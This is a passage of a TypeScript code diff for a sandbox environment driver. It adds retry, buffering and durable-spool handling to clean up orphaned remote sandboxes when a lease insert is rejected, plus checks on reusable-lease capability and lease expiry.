+   * toward the cap. It reports `false` only for the transient worker-down window.
+   */
+  isPendingCleanupWorkerReady?(input: { environment: Environment | null; lease: EnvironmentLease }): Promise<boolean>;
+  /**
+   * Flush the in-process buffer of orphan pending-cleanup records that every
+   * synchronous database write could not land. The acquire buffers an orphan
+   * here when the database is down after a failed teardown, so no durable row
+   * exists yet. The cleanup sweep calls this method each tick. The method
+   * re-inserts each buffered record. A record whose write now succeeds leaves the
+   * buffer and becomes a normal `pending_cleanup` row that the sweep tears down.
+   * A record whose write still fails stays in the buffer for a later flush. The
+   * method reports how many records it recovered and how many still wait.
+   */
+  flushDeferredOrphanCleanups?(): Promise<{ recovered: number; pending: number }>;
+}
+
+/**
+ * The acquire provisioned a remote sandbox, the lease insert rejected it, the
+ * compensating teardown failed, and every retry of the durable pending-cleanup
+ * write also failed. A live sandbox now has no lease row and no cleanup record,
+ * so no sweep can find it. The acquire throws this error so the failure stays visible
+ * and never resolves to a clean rejection. The `cause` field holds the original
+ * lease insert rejection. The `cleanupWriteError` field holds the write failure.
+ */
+export class SandboxOrphanCleanupWriteError extends Error {
+  readonly provider: string;
+  readonly providerLeaseId: string | null;
+  readonly cleanupWriteError: unknown;
+
+  constructor(input: {
+    provider: string;
+    providerLeaseId: string | null;
+    cause: unknown;
+    cleanupWriteError: unknown;
+  }) {
+    super(
+      `Sandbox provider "${input.provider}" leaked lease ` +
+        `"${input.providerLeaseId ?? "unknown"}": the acquire could not tear it down ` +
+        "and could not record a durable pending-cleanup row. The live sandbox has no " +
+        "durable cleanup state and needs a manual teardown.",
+      { cause: input.cause },
+    );
+    this.name = "SandboxOrphanCleanupWriteError";
+    this.provider = input.provider;
+    this.providerLeaseId = input.providerLeaseId;
+    this.cleanupWriteError = input.cleanupWriteError;
+  }
 }
 
 export interface EnvironmentRuntimeLeaseRecord {
@@ -254,13 +641,32 @@ export interface EnvironmentRuntimeLeaseRecord {
 const DEFAULT_PLUGIN_SANDBOX_WORKER_READY_TIMEOUT_MS = 5_000;
 const DEFAULT_PLUGIN_SANDBOX_WORKER_READY_POLL_MS = 100;
 
+// The durable pending-cleanup write is the only automated way to find a leaked
+// sandbox. A single insert can lose to a transient database fault (a dropped
+// connection, a lock timeout, a serialization conflict). So the acquire retries
+// the write a few times with a short backoff before it gives up. A later
+// attempt can still land the durable row that a sweep finds.
+const DEFAULT_SANDBOX_ORPHAN_CLEANUP_WRITE_ATTEMPTS = 3;
+const DEFAULT_SANDBOX_ORPHAN_CLEANUP_WRITE_BACKOFF_MS = 100;
+
+// A prolonged database outage after a failed teardown can buffer many orphan
+// records in-process. The bound stops that buffer from growing without limit. A
+// full buffer keeps the error log as the last durable handle for a new orphan.
+const DEFAULT_DEFERRED_ORPHAN_CLEANUP_BUFFER_LIMIT = 256;
+
 function delay(ms: number): Promise<void> {
   return new Promise((resolve) => setTimeout(resolve, ms));
 }
 
-function getLeaseDriverKey(lease: Pick<EnvironmentLease, "metadata">, environment: Pick<Environment, "driver">): string {
+function getLeaseDriverKey(
+  lease: Pick<EnvironmentLease, "metadata">,
+  environment: Pick<Environment, "driver"> | null,
+): string {
   const leaseDriver = typeof lease.metadata?.driver === "string" ? lease.metadata.driver : null;
-  return leaseDriver ?? environment.driver;
+  // An orphan `pending_cleanup` row whose environment a delete removed keeps its
+  // driver in the metadata, so the sweep still finds the sandbox driver. Fall
+  // back to "sandbox" because only sandbox leases record orphan cleanup.
+  return leaseDriver ?? environment?.driver ?? "sandbox";
 }
 
 function toEnvironmentLeaseSnapshot(row: typeof environmentLeases.$inferSelect): EnvironmentLease {
@@ -657,19 +1063,370 @@ function createSshEnvironmentDriver(db: Db): EnvironmentRuntimeDriver {
   };
 }
 
+/**
+ * Adapt the worker manager's duplex host session to the cross-layer channel. The
+ * two shapes differ in the exit and stop members: the host session resolves the
+ * exit one time from `wait()`, so the channel bridges it to a one-time `onExit`
+ * listener; `kill()` maps to `stop()`. The `write`, `onData`, and `close`
+ * members map one to one.
+ */
+function adaptDuplexChannelHostSession(
+  session: DuplexChannelHostSession,
+): CommandManagedDuplexChannel {
+  return {
+    write(data: string): void {
+      session.write(data);
+    },
+    onData(listener: (chunk: string) => void): void {
+      session.onData(listener);
+    },
+    onExit(listener: (exit: { exitCode: number | null }) => void): void {
+      // `wait()` resolves one time with the exit and never rejects, so a single
+      // `then` bridges it to the one-time exit listener.
+      void session.wait().then((exit) => {
+        listener(exit);
+      });
+    },
+    stop(): void {
+      session.kill();
+    },
+    close(): Promise<void> {
+      return session.close();
+    },
+  };
+}
+
 function createSandboxEnvironmentDriver(
   db: Db,
   options: {
     pluginWorkerManager?: PluginWorkerManager;
     pluginWorkerReadyTimeoutMs?: number;
     pluginWorkerReadyPollMs?: number;
+    pendingCleanupWriteAttempts?: number;
+    pendingCleanupWriteBackoffMs?: number;
+    deferredOrphanCleanupBufferLimit?: number;
+    orphanCleanupSpool?: SandboxOrphanCleanupSpool;
+    orphanCleanupSpoolDir?: string;
   } = {},
 ): EnvironmentRuntimeDriver {
   const pluginWorkerManager = options.pluginWorkerManager;
   const pluginWorkerReadyTimeoutMs = options.pluginWorkerReadyTimeoutMs ?? DEFAULT_PLUGIN_SANDBOX_WORKER_READY_TIMEOUT_MS;
   const pluginWorkerReadyPollMs = options.pluginWorkerReadyPollMs ?? DEFAULT_PLUGIN_SANDBOX_WORKER_READY_POLL_MS;
+  // The retry count is at least one attempt, so a zero or negative override
+  // never skips the durable write. The backoff is at least zero milliseconds.
+  const pendingCleanupWriteAttempts = Math.max(
+    1,
+    options.pendingCleanupWriteAttempts ?? DEFAULT_SANDBOX_ORPHAN_CLEANUP_WRITE_ATTEMPTS,
+  );
+  const pendingCleanupWriteBackoffMs = Math.max(
+    0,
+    options.pendingCleanupWriteBackoffMs ?? DEFAULT_SANDBOX_ORPHAN_CLEANUP_WRITE_BACKOFF_MS,
+  );
+  // The buffer holds at least one orphan, so a zero or negative override never
+  // drops every buffered record.
+  const deferredOrphanCleanupBufferLimit = Math.max(
+    1,
+    options.deferredOrphanCleanupBufferLimit ?? DEFAULT_DEFERRED_ORPHAN_CLEANUP_BUFFER_LIMIT,
+  );
   const environmentsSvc = environmentService(db);
 
+  // A live sandbox whose teardown failed needs a durable `pending_cleanup` row,
+  // so a sweep can find and release it. When every synchronous write attempt
+  // fails, the database is down but the process still runs. So the driver keeps
+  // the orphan record in this in-process buffer, and a later cleanup sweep
+  // flushes it back to the database. The buffer closes the common window where
+  // the database recovers after the synchronous attempts but while the process
+  // still runs. The `pending_cleanup` failure reason matches the synchronous
+  // write, so a flushed row and a synchronous row are indistinguishable to the
+  // sweep.
+  const deferredOrphanCleanups: DeferredOrphanCleanupRecord[] = [];
+  const DEFERRED_ORPHAN_CLEANUP_FAILURE_REASON = "acquire_rejected_teardown_failed";
+
+  // The in-process buffer alone loses an orphan on a restart. So the driver also
+  // persists each buffered orphan to this durable local spool. The spool keeps
+  // the record on the local disk, next to the other durable server state, so a
+  // restart still finds it. The first flush after a restart loads the spool back
+  // into the buffer, so the sweep re-inserts the durable row. The spool holds no
+  // secret value: it persists the same sanitized metadata the database row
+  // holds, so a restart-recovered record still authorizes the teardown but never
+  // exposes a credential. Only a crash during the outage before the durable
+  // spool write lands loses the record; the error log stays the last handle for
+  // that narrow case.
+  const orphanCleanupSpool =
+    options.orphanCleanupSpool ?? createSandboxOrphanCleanupSpool(options.orphanCleanupSpoolDir);
+
+  // Add one orphan record to the in-process buffer. Report `false` only when the
+  // buffer is full, so the caller keeps the error log as the last durable handle.
+  const enqueueDeferredOrphanCleanup = (record: DeferredOrphanCleanupRecord): boolean => {
+    // Dedup by the provider lease id, so a repeated failure for the same orphan
+    // never buffers it twice. Each acquire mints a unique provider lease id, so
+    // two distinct orphans never collide. Skip the dedup for a null lease id,
+    // because a null value carries no identity.
+    const alreadyBuffered =
+      record.providerLeaseId !== null &&
+      deferredOrphanCleanups.some((entry) => entry.providerLeaseId === record.providerLeaseId);
+    if (alreadyBuffered) return true;
+    if (deferredOrphanCleanups.length >= deferredOrphanCleanupBufferLimit) return false;
+    deferredOrphanCleanups.push(record);
+    return true;
+  };
+
+  // Load the durable spool into the in-process buffer exactly once. The first
+  // flush after a restart runs this load, so the records a previous process
+  // could not land re-enter the flush path. A later flush sees the resolved
+  // promise and never reloads, so a record this process already buffered never
+  // doubles. The load runs before the flush splices the buffer, so a
+  // restart-recovered record flushes on the same tick.
+  let spoolLoadPromise: Promise<void> | null = null;
+  const ensureSpoolLoaded = (): Promise<void> => {
+    if (!spoolLoadPromise) {
+      spoolLoadPromise = (async () => {
+        const persisted = await orphanCleanupSpool.load();
+        for (const record of persisted) {
+          enqueueDeferredOrphanCleanup(record);
+        }
+      })();
+    }
+    return spoolLoadPromise;
+  };
+
+  const flushDeferredOrphanCleanups = async (): Promise<{ recovered: number; pending: number }> => {
+    // Load the durable spool into the buffer first, so a restart-recovered record
+    // flushes on this tick. The load runs once, then a resolved promise returns.
+    await ensureSpoolLoaded();
+    if (deferredOrphanCleanups.length === 0) {
+      return { recovered: 0, pending: 0 };
+    }
+    // Take the whole batch synchronously before the first await, so a second
+    // concurrent flush sees an empty buffer and never re-inserts the same record.
+    const batch = deferredOrphanCleanups.splice(0, deferredOrphanCleanups.length);
+    let recovered = 0;
+    for (const record of batch) {
+      try {
+        await environmentsSvc.insertPendingCleanupLease({
+          companyId: record.companyId,
+          environmentId: record.environmentId,
+          executionWorkspaceId: record.executionWorkspaceId,
+          issueId: record.issueId,
+          heartbeatRunId: record.heartbeatRunId,
+          provider: record.provider,
+          providerLeaseId: record.providerLeaseId,
+          metadata: record.metadata,
+          failureReason: DEFERRED_ORPHAN_CLEANUP_FAILURE_REASON,
+        });
+        // The durable row exists now, so the sweep finds and releases the orphan.
+        // Drop the spooled copy only after the row lands. A crash between the two
+        // leaves the spooled copy for a later flush, which re-inserts a duplicate
+        // the idempotent teardown handles. This order never loses the orphan.
+        await orphanCleanupSpool.remove(record);
+        recovered += 1;
+      } catch {
+        // The database is still down. Re-queue the record for a later flush,
+        // unless the buffer filled again. The identifiers carry no secret; the
+        // caught write exception never enters the log, because it can hold a
+        // credential in its message, code, cause, or stack.
+        const requeued = enqueueDeferredOrphanCleanup(record);
+        logger.warn(
+          {
+            errorKind: SANDBOX_ORPHAN_CLEANUP_WRITE_ERROR_KIND,
+            provider: record.provider,
+            providerLeaseId: record.providerLeaseId,
+            companyId: record.companyId,
+            environmentId: record.environmentId,
+            requeued,
+          },
+          requeued
+            ? "deferred sandbox orphan cleanup flush failed; kept the orphan buffered for a later flush"
+            : "deferred sandbox orphan cleanup flush failed and the in-process buffer is full; live sandbox needs a manual teardown",
+        );
+      }
+    }
+    return { recovered, pending: deferredOrphanCleanups.length };
+  };
+
+  // Build the safe diagnostic fields for an orphan record. The provider
+  // identifiers are the only fields any diagnostic log emits, and they carry no
+  // secret. A caught write exception never enters a log: it can carry a
+  // credential in its name, code, message, cause, or stack.
+  const orphanDiagnosticFields = (record: DeferredOrphanCleanupRecord) => ({
+    errorKind: SANDBOX_ORPHAN_CLEANUP_WRITE_ERROR_KIND,
+    provider: record.provider,
+    providerLeaseId: record.providerLeaseId,
+    companyId: record.companyId,
+    environmentId: record.environmentId,
+    executionWorkspaceId: record.executionWorkspaceId,
+    issueId: record.issueId,
+    heartbeatRunId: record.heartbeatRunId,
+  });
+
+  // Try to write the durable `pending_cleanup` row for an orphan sandbox, with a
+  // few retries. Report the new lease id on success, or a null lease id and the
+  // last write error on total failure. This function never buffers, never logs
+  // at error level, and never throws. The caller decides whether a total failure
+  // is fatal, because a later successful teardown removes the orphan and needs
+  // no durable row.
+  //
+  // The row carries the provider lease id and the same resolution metadata a
+  // normal lease holds, so a later cleanup sweep finds and releases the orphan.
+  // One atomic insert writes the row directly in the terminal `pending_cleanup`
+  // state, and the insert skips the company-binding assertion, so it records the
+  // orphan even for a foreign-bound environment. A transient database fault (a
+  // dropped connection, a lock timeout, a serialization conflict) can reject one
+  // insert but clear on the next, so the write retries a few times with a short
+  // backoff.
+  const tryWriteDurablePendingCleanup = async (
+    record: DeferredOrphanCleanupRecord,
+  ): Promise<{ leaseId: string | null; lastError: unknown }> => {
+    const diagnosticFields = orphanDiagnosticFields(record);
+    let lastCleanupWriteError: unknown;
+    for (let attempt = 1; attempt <= pendingCleanupWriteAttempts; attempt += 1) {
+      try {
+        const lease = await environmentsSvc.insertPendingCleanupLease({
+          companyId: record.companyId,
+          environmentId: record.environmentId,
+          executionWorkspaceId: record.executionWorkspaceId,
+          issueId: record.issueId,
+          heartbeatRunId: record.heartbeatRunId,
+          provider: record.provider,
+          providerLeaseId: record.providerLeaseId,
+          metadata: record.metadata,
+          failureReason: DEFERRED_ORPHAN_CLEANUP_FAILURE_REASON,
+        });
+        // The durable row exists now, so a sweep can find and release the orphan.
+        return { leaseId: lease.id, lastError: undefined };
+      } catch (cleanupWriteError) {
+        lastCleanupWriteError = cleanupWriteError;
+        if (attempt < pendingCleanupWriteAttempts) {
+          // The write failed, but attempts remain. Log the retry at warn level
+          // and back off, then try again. A later attempt can still land the
+          // durable row.
+          logger.warn(
+            { ...diagnosticFields, attempt, maxAttempts: pendingCleanupWriteAttempts },
+            "sandbox orphan cleanup write failed; retrying the durable pending-cleanup write",
+          );
+          await delay(pendingCleanupWriteBackoffMs * attempt);
+        }
+      }
+    }
+    return { leaseId: null, lastError: lastCleanupWriteError };
+  };
+
+  // Release the durable `pending_cleanup` row after a successful inline teardown.
+  // The teardown removed the orphan sandbox, so the row is no longer needed. The
+  // release moves the row to the terminal `expired` state with a `success`
+  // cleanup status, the same state the sweep records for a successful teardown.
+  //
+  // The release is best-effort. If it fails, the row stays `pending_cleanup`, so
+  // a later sweep runs the idempotent teardown on the already-gone sandbox and
+  // releases the row itself. A failed release never loses or leaks the orphan.
+  const releaseCleanedUpOrphanRow = async (
+    leaseId: string,
+    diagnosticFields: Record<string, unknown>,
+  ): Promise<void> => {
+    try {
+      await environmentsSvc.releaseLease(leaseId, "expired", {
+        cleanupStatus: "success",
+        failureReason: "acquire_rejected_teardown_succeeded",
+      });
+    } catch {
+      // The caught release exception never enters a log: it can carry a
+      // credential in its name, code, message, cause, or stack.
+      logger.warn(
+        diagnosticFields,
+        "could not release the pending-cleanup row after a successful orphan teardown; a later sweep reconciles the released row",
+      );
+    }
+  };
+
+  // Neither the durable write nor the inline teardown worked, so the orphan
+  // sandbox is live with no durable row. Persist the orphan to the durable spool
+  // and buffer it in-process, so a later cleanup-sweep flush lands the durable
+  // row. The spool survives a restart, so the flush recovers the orphan even
+  // after a crash. Then log the plain provider identifiers at error level, so an
+  // operator keeps a handle to tear the sandbox down by hand. Only a crash before
+  // the spool write lands loses the record, so the error log is the last handle
+  // for that narrow case. Throw `SandboxOrphanCleanupWriteError`, which the
+  // caller propagates. The error keeps the original insert rejection as its
+  // `cause`, so the real reason the acquire failed stays visible in the error
+  // chain.
+  const escalateUnwrittenOrphan = async (
+    record: DeferredOrphanCleanupRecord,
+    cause: unknown,
+    cleanupWriteError: unknown,
+  ): Promise<never> => {
+    const persisted = await orphanCleanupSpool.append(record);
+    const buffered = enqueueDeferredOrphanCleanup(record);
+    logger.error(
+      {
+        ...orphanDiagnosticFields(record),
+        persisted,
+        buffered,
+        deferredBufferSize: deferredOrphanCleanups.length,
+      },
+      persisted
+        ? "sandbox orphan cleanup write failed; persisted the orphan to the durable spool for a later cleanup-sweep flush"
+        : buffered
+          ? "sandbox orphan cleanup write failed and the durable spool write failed; buffered the orphan in-process only for a later cleanup-sweep flush"
+          : "sandbox orphan cleanup write failed and neither the durable spool nor the in-process buffer kept the orphan; live sandbox needs a manual teardown",
+    );
+    throw new SandboxOrphanCleanupWriteError({
+      provider: record.provider,
+      providerLeaseId: record.providerLeaseId,
+      cause,
+      cleanupWriteError,
+    });
+  };
+
+  // Clean up an orphan sandbox after the conditional lease insert rejected it.
+  // The acquire provisioned a remote sandbox, then the insert rejected (a
+  // foreign-company binding), so no lease row tracks the live sandbox. This
+  // handler records the durable `pending_cleanup` row FIRST, before the inline
+  // teardown, then tears the sandbox down.
+  //
+  // The write goes first on purpose. The conditional insert just returned a
+  // definitive rejection, so the database is reachable at this instant. An
+  // inline teardown can run long, and the database can drop during it. So a
+  // write after the teardown can fail and leave the orphan only in memory, which
+  // a restart loses. With the write first, the durable row lands while the
+  // database is proven up, so a crash after it still leaves a row that a sweep
+  // finds and releases.
+  //
+  // The teardown then runs. On success the orphan is gone, so the handler
+  // releases the durable row. On a failed teardown the row stays for the sweep.
+  // If the durable write itself failed and the teardown also failed, the handler
+  // buffers the orphan and throws `SandboxOrphanCleanupWriteError`. A successful
+  // teardown after a failed write leaves no orphan, so it needs no error.
+  const cleanUpRejectedOrphanSandbox = async (input: {
+    record: DeferredOrphanCleanupRecord;
+    cause: unknown;
+    canTeardown: boolean;
+    teardown: () => Promise<void>;
+  }): Promise<void> => {
+    const durable = await tryWriteDurablePendingCleanup(input.record);
+    let teardownFailed = !input.canTeardown;
+    if (!teardownFailed) {
+      try {
+        await input.teardown();
+      } catch {
+        teardownFailed = true;
+      }
+    }
+    if (!teardownFailed) {
+      // The teardown removed the orphan, so drop the durable row if we wrote one.
+      if (durable.leaseId !== null) {
+        await releaseCleanedUpOrphanRow(durable.leaseId, orphanDiagnosticFields(input.record));
+      }
+      return;
+    }
+    // The teardown failed, so the orphan sandbox is still live.
+    if (durable.leaseId !== null) {
+      // The durable row already tracks the orphan, so a sweep finds and releases
+      // it. The caller rethrows the original insert rejection.
+      return;
+    }
+    await escalateUnwrittenOrphan(input.record, input.cause, durable.lastError);
+  };
+
   // The run-time exec parent context, held per lease id. A plugin sandbox
   // provider can open a persistent session on the first command and delete it
   // on lease release. The session open runs inside `execute`, under the run
@@ -742,7 +1499,7 @@ function createSandboxEnvironmentDriver(
   }
 
   async function resolvePluginSandboxRuntimeConfig(input: {
-    environment: Environment;
+    environment: Pick<Environment, "id" | "driver" | "config">;
     lease: EnvironmentLease;
     provider: string;
   }): Promise<Record<string, unknown>> {
@@ -754,7 +1511,7 @@ function createSandboxEnvironmentDriver(
         config: sandboxConfigForLeaseMetadata(metadataConfig),
       });
       if (parsed.driver === "sandbox") {
-        return parsed.config as unknown as Record<string, unknown>;
+        return dropInternalPluginSandboxConfigKeys(parsed.config as unknown as Record<string, unknown>);
       }
     }
 
@@ -766,7 +1523,7 @@ function createSandboxEnvironmentDriver(
           input.environment,
         );
         if (parsed.driver === "sandbox" && parsed.config.provider === input.provider) {
-          return parsed.config as unknown as Record<string, unknown>;
+          return dropInternalPluginSandboxConfigKeys(parsed.config as unknown as Record<string, unknown>);
         }
       } catch {
         // Lease metadata below is intentionally kept sufficient for cleanup
@@ -776,7 +1533,7 @@ function createSandboxEnvironmentDriver(
 
     return {
       provider: input.provider,
-      ...sanitizePluginSandboxConfigFromLeaseMetadata(input.lease.metadata),
+      ...dropInternalPluginSandboxConfigKeys(input.lease.metadata),
     };
   }
 
@@ -873,7 +1630,24 @@ function createSandboxEnvironmentDriver(
         const workerConfig = stripSandboxProviderEnvelope(parsed.config);
         const storedConfig = storedParsed.config;
         const providerConfigForLease = sandboxConfigForLeaseMetadata(storedConfig);
-        const supportsReusableLeases = pluginProvider.resolved.driver.supportsReusableLeases === true;
+        // Require the reusable-lease capability AND a worker that verifies the
+        // reuse methods. The provider must first opt in through the declaration:
+        // the nested `sandboxCapabilities.reusableLeases` wins over the legacy
+        // `supportsReusableLeases` flag. The worker must also verify
+        // `environmentResumeLease`, `environmentReleaseLease`, and
+        // `environmentDestroyLease` (the reuse prerequisite verbs) before the
+        // runtime resumes, releases, or tears down a reusable lease. A provider
+        // that declares `reusableLeases` true but whose worker does not verify
+        // all three methods fails closed and uses an ephemeral lease, so the
+        // runtime never dispatches a resume, a release, or a destroy the worker
+        // cannot serve, and it never strands a stale lease it cannot destroy.
+        const declaredReusableLeases =
+          resolveDeclaredSandboxCapabilities(pluginProvider.resolved.driver).reusableLeases === true;
+        const pluginVerifiedMethods = new Set(
+          pluginWorkerManager.getWorker(pluginProvider.resolved.plugin.id)?.supportedMethods ?? [],
+        );
+        const supportsReusableLeases =
+          declaredReusableLeases && capabilityIsVerified("reusableLeases", pluginVerifiedMethods);
         const leaseFingerprint =
           supportsReusableLeases &&
           parsed.config.reuseLease &&
@@ -955,33 +1729,48 @@ function createSandboxEnvironmentDriver(
 
         let providerLease: PluginEnvironmentLease | null = null;
         if (reusableLease?.providerLeaseId) {
-          try {
-            const resumed = await pluginWorkerManager.call(
-                pluginProvider.resolved.plugin.id,
-                "environmentResumeLease",
-                {
-                  driverKey: parsed.config.provider,
-                  companyId: input.companyId,
-                  environmentId: input.environment.id,
-                  issueId: input.issueId,
-                  config: workerConfig,
-                  providerLeaseId: reusableLease.providerLeaseId,
-                  leaseMetadata: reusableLease.metadata ?? undefined,
-                },
-                resolvePluginSandboxRpcTimeoutMs(workerConfig),
-              );
-            providerLease =
-              typeof resumed.providerLeaseId === "string" && resumed.providerLeaseId.length > 0
-                ? resumed
-                : null;
-          } catch {
-            providerLease = null;
+          // The `supportsReusableLeases` check above reads a snapshot of the
+          // worker methods. The runtime then does asynchronous database work
+          // (list, fingerprint, obsolete-lease cleanup) before this dispatch. A
+          // worker restart in that window can drop `environmentResumeLease`
+          // while the snapshot still marks the method verified. Re-check the
+          // live worker here and fail closed when the method is absent: skip the
+          // resume, destroy the stale reusable lease, and acquire a fresh lease
+          // below. The runtime never dispatches a resume the live worker cannot
+          // serve.
+          const workerVerifiesResume = pluginWorkerVerifiesLifecycleMethod(
+            pluginProvider.resolved.plugin.id,
+            "environmentResumeLease",
+          );
+          if (workerVerifiesResume) {
+            try {
+              const resumed = await pluginWorkerManager.call(
+                  pluginProvider.resolved.plugin.id,
+                  "environmentResumeLease",
+                  {
+                    driverKey: parsed.config.provider,
+                    companyId: input.companyId,
+                    environmentId: input.environment.id,
+                    issueId: input.issueId,
+                    config: workerConfig,
+                    providerLeaseId: reusableLease.providerLeaseId,
+                    leaseMetadata: reusableLease.metadata ?? undefined,
+                  },
+                  resolvePluginSandboxRpcTimeoutMs(workerConfig),
+                );
+              providerLease =
+                typeof resumed.providerLeaseId === "string" && resumed.providerLeaseId.length > 0
+                  ? resumed
+                  : null;
+            } catch {
+              providerLease = null;
+            }
           }
           if (!providerLease) {
             await destroyReusableSandboxLease({
               environment: input.environment,
               lease: reusableLease,
-              failureReason: "resume_failed",
+              failureReason: workerVerifiesResume ? "resume_failed" : "resume_capability_lost",
             });
           }
         }
@@ -1009,6 +1798,11 @@ function createSandboxEnvironmentDriver(
             // environment's default adapter image (a pi agent then runs in the
             // opencode image and the harness binary is missing at exec time).
             adapterType: input.adapterType ?? undefined,
+            // Forward a caller deadline so the provider configures a provider-side
+            // expiry at or before it and returns the real provider expiry.
+            ...(requestedExpiresAtParam(input.requestedExpiresAt) !== undefined
+              ? { requestedExpiresAt: requestedExpiresAtParam(input.requestedExpiresAt) }
+              : {}),
           },
           resolvePluginSandboxRpcTimeoutMs(workerConfig),
         );
@@ -1037,28 +1831,83 @@ function createSandboxEnvironmentDriver(
             })
           : null;
 
-        return await environmentsSvc.acquireLease({
-          companyId: input.companyId,
-          environmentId: input.environment.id,
-          executionWorkspaceId: input.executionWorkspaceId,
-          issueId: input.issueId,
-          heartbeatRunId: input.heartbeatRunId,
-          leasePolicy: resolvedLeasePolicy,
-          provider: parsed.config.provider,
-          providerLeaseId: acquiredLease.providerLeaseId,
-          expiresAt: acquiredLease.expiresAt ? new Date(acquiredLease.expiresAt) : undefined,
-          metadata: {
-            ...(input.agentId ? { agentId: input.agentId } : {}),
-            driver: input.environment.driver,
-            executionWorkspaceMode: input.executionWorkspaceMode,
-            pluginId: pluginProvider.resolved.plugin.id,
-            pluginKey: pluginProvider.resolved.plugin.pluginKey,
-            sandboxProviderPlugin: true,
-            ...sandboxConfigForLeaseMetadata(storedConfig),
-            ...sanitizedProviderMetadata,
-            ...(reusableScope ? { reusableSandboxLease: reusableScope } : {}),
-          },
-        });
+        const pluginLeaseMetadata = {
+          ...(input.agentId ? { agentId: input.agentId } : {}),
+          driver: input.environment.driver,
+          executionWorkspaceMode: input.executionWorkspaceMode,
+          pluginId: pluginProvider.resolved.plugin.id,
+          pluginKey: pluginProvider.resolved.plugin.pluginKey,
+          sandboxProviderPlugin: true,
+          ...sandboxConfigForLeaseMetadata(storedConfig),
+          ...sanitizedProviderMetadata,
+          ...(reusableScope ? { reusableSandboxLease: reusableScope } : {}),
+        };
+        try {
+          return await environmentsSvc.acquireLease({
+            companyId: input.companyId,
+            environmentId: input.environment.id,
+            executionWorkspaceId: input.executionWorkspaceId,
+            issueId: input.issueId,
+            heartbeatRunId: input.heartbeatRunId,
+            assertCompanyBinding: input.assertCompanyBinding,
+            leasePolicy: resolvedLeasePolicy,
+            provider: parsed.config.provider,
+            providerLeaseId: acquiredLease.providerLeaseId,
+            expiresAt: providerAttestedLeaseExpiry(
+              input.requestedExpiresAt,
+              acquiredLease.expiresAt ? new Date(acquiredLease.expiresAt) : undefined,
+            ),
+            metadata: pluginLeaseMetadata,
+          });
+        } catch (error) {
+          // The conditional lease insert rejected, so no lease row exists. A
+          // managed reconciliation can bind the environment to another company
+          // between the route guard and this insert, so the insert fails closed
+          // with `environment_company_mismatch`. This call already provisioned the
+          // remote plugin sandbox above, so tear it down now. Without this step
+          // the rejected insert leaks a live sandbox that no lease row tracks. The
+          // Claude login runs on a plugin-backed sandbox, so this path is the one
+          // the login uses. Do not tear down a reused sandbox that an earlier
+          // lease still owns.
+          if (!reusableLease || acquiredLease.providerLeaseId !== reusableLease.providerLeaseId) {
+            // Record the durable pending-cleanup row before the teardown, then
+            // tear the sandbox down. On a successful teardown the handler releases
+            // the row. If the durable write and the teardown both fail, the
+            // handler throws a `SandboxOrphanCleanupWriteError` that carries the
+            // original rejection as its cause.
+            await cleanUpRejectedOrphanSandbox({
+              record: {
+                companyId: input.companyId,
+                environmentId: input.environment.id,
+                executionWorkspaceId: input.executionWorkspaceId ?? null,
+                issueId: input.issueId ?? null,
+                heartbeatRunId: input.heartbeatRunId ?? null,
+                provider: parsed.config.provider,
+                providerLeaseId: acquiredLease.providerLeaseId,
+                metadata: pluginLeaseMetadata,
+              },
+              cause: error,
+              canTeardown: pluginWorkerManager.isRunning(pluginProvider.resolved.plugin.id),
+              teardown: async () => {
+                await pluginWorkerManager.call(
+                  pluginProvider.resolved.plugin.id,
+                  "environmentDestroyLease",
+                  {
+                    driverKey: parsed.config.provider,
+                    companyId: input.companyId,
+                    environmentId: input.environment.id,
+                    issueId: input.issueId,
+                    config: workerConfig,
+                    providerLeaseId: acquiredLease.providerLeaseId,
+                    leaseMetadata: acquiredLease.metadata ?? undefined,
+                  },
+                  resolvePluginSandboxRpcTimeoutMs(workerConfig),
+                );
+              },
+            });
+          }
+          throw error;
+        }
       }
 
       // Built-in sandbox provider path. Same guard as the plugin-backed path:
@@ -1067,7 +1916,12 @@ function createSandboxEnvironmentDriver(
       // heartbeat run that shares it. Filter to reusable policies and statuses
       // so non-reusable, cleanup-pending, or terminal rows can never be matched.
       const builtinSandboxProvider = getBuiltinSandboxProvider(parsed.config.provider);
-      const supportsReusableLeases = builtinSandboxProvider?.supportsReusableLeases === true;
+      // Resolve the DECLARED reusable-lease capability through the same contract
+      // as the plugin path, so the nested capability wins over the legacy flag.
+      const supportsReusableLeases =
+        resolveDeclaredSandboxCapabilities({
+          supportsReusableLeases: builtinSandboxProvider?.supportsReusableLeases,
+        }).reusableLeases === true;
       const providerConfigForLease = sandboxConfigForLeaseMetadata(parsed.config);
       const leaseFingerprint =
         supportsReusableLeases &&
@@ -1146,6 +2000,9 @@ function createSandboxEnvironmentDriver(
           agentId: input.agentId,
           executionWorkspaceId: input.executionWorkspaceId,
           reusableProviderLeaseId,
+          // Forward a caller deadline so the provider configures a provider-side
+          // expiry at or before it and returns the real provider expiry.
+          requestedExpiresAt: requestedExpiresAtParam(input.requestedExpiresAt),
         });
       } catch (error) {
         if (reusableLease) {
@@ -1184,23 +2041,67 @@ function createSandboxEnvironmentDriver(
           })
         : null;
 
-      return await environmentsSvc.acquireLease({
-        companyId: input.companyId,
-        environmentId: input.environment.id,
-        executionWorkspaceId: input.executionWorkspaceId,
-        issueId: input.issueId,
-        heartbeatRunId: input.heartbeatRunId,
-        leasePolicy: resolvedLeasePolicy,
-        provider: parsed.config.provider,
-        providerLeaseId: providerLease.providerLeaseId,
-        metadata: {
-          ...(input.agentId ? { agentId: input.agentId } : {}),
-          driver: input.environment.driver,
-          executionWorkspaceMode: input.executionWorkspaceMode,
-          ...providerLease.metadata,
-          ...(reusableScope ? { reusableSandboxLease: reusableScope } : {}),
-        },
-      });
+      const builtinLeaseMetadata = {
+        ...(input.agentId ? { agentId: input.agentId } : {}),
+        driver: input.environment.driver,
+        executionWorkspaceMode: input.executionWorkspaceMode,
+        ...providerLease.metadata,
+        ...(reusableScope ? { reusableSandboxLease: reusableScope } : {}),
+      };
+      try {
+        return await environmentsSvc.acquireLease({
+          companyId: input.companyId,
+          environmentId: input.environment.id,
+          executionWorkspaceId: input.executionWorkspaceId,
+          issueId: input.issueId,
+          heartbeatRunId: input.heartbeatRunId,
+          assertCompanyBinding: input.assertCompanyBinding,
+          leasePolicy: resolvedLeasePolicy,
+          provider: parsed.config.provider,
+          providerLeaseId: providerLease.providerLeaseId,
+          expiresAt: providerAttestedLeaseExpiry(
+            input.requestedExpiresAt,
+            providerLease.expiresAt ? new Date(providerLease.expiresAt) : undefined,
+          ),
+          metadata: builtinLeaseMetadata,
+        });
+      } catch (error) {
+        // The conditional lease insert rejected, so no lease row exists. A managed
